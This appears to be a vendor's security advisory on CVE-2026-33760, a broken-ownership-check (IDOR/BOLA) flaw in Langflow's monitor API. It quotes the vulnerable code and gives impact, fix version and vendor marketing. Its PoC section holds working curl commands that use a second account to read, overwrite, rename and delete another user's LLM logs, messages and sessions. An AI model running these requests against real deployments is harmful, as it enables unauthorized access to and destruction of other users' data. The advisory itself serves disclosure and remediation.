Summary
Langflow: IDOR/BOLA in Monitor API, Missing Ownership Enforcement on 7 Endpoints
Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources, messages, sessions, build artifacts, and LLM transaction logs, without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.
Details
Source file: src/backend/base/langflow/api/v1/monitor.py
The correct pattern (used only in GET /monitor/messages, lines 77–80):
stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced
All 7 vulnerable endpoints are missing this guard:
1. GET /api/v1/monitor/builds (lines 27–33), reads build data for any flow_id:
@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check
return VertexBuildMapModel.from_list_of_dicts(vertex_builds)
2. DELETE /api/v1/monitor/messages (lines 102–107), deletes any message by UUID:
@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
# message_ids accepted verbatim, no ownership check
3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134), overwrites any message:
db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)
4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171), renames any session:
stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188), bulk-deletes any session:
await session.exec(
delete(MessageTable).where(col(MessageTable.session_id) == session_id)
# no ownership filter
)
6. GET /api/v1/monitor/transactions (lines 191–211), reads LLM prompt/response logs for any flow_id:
stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
7. DELETE /api/v1/monitor/builds, deletes build records for any flow_id:
Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.
PoC
Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).
# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=langflow&password=langflow" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=attacker_test&password=Attacker123" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Victim creates a flow (attacker only needs to know the flow_id, obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200, full transaction log returned including user prompts and model responses
# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200
# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '["<victim_message_id>"]'
# HTTP 204, message deleted
# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200, message overwritten, "edit":true set
# PoC 5: Rename victim's session
curl -s -X PATCH \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200, session renamed
# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
-H "Authorization: Bearer $ATTKR"
# HTTP 204, entire session deleted
All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.
Impact
This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).
Confidentiality: GET /transactions exposes the full LLM conversation history, user-submitted prompts and model responses, for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.
Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.
Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.
Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
CVE-2026-33760 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33760? CVE-2026-33760 is a high-severity security vulnerability in langflow (pip), affecting versions < 1.9.0. It is fixed in 1.9.0.
- How severe is CVE-2026-33760? CVE-2026-33760 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langflow are affected by CVE-2026-33760? langflow (pip) versions < 1.9.0 is affected.
- Is there a fix for CVE-2026-33760? Yes. CVE-2026-33760 is fixed in 1.9.0. Upgrade to this version or later.
- Is CVE-2026-33760 exploitable, and should I be worried? Whether CVE-2026-33760 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33760 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33760? Upgrade
langflowto 1.9.0 or later.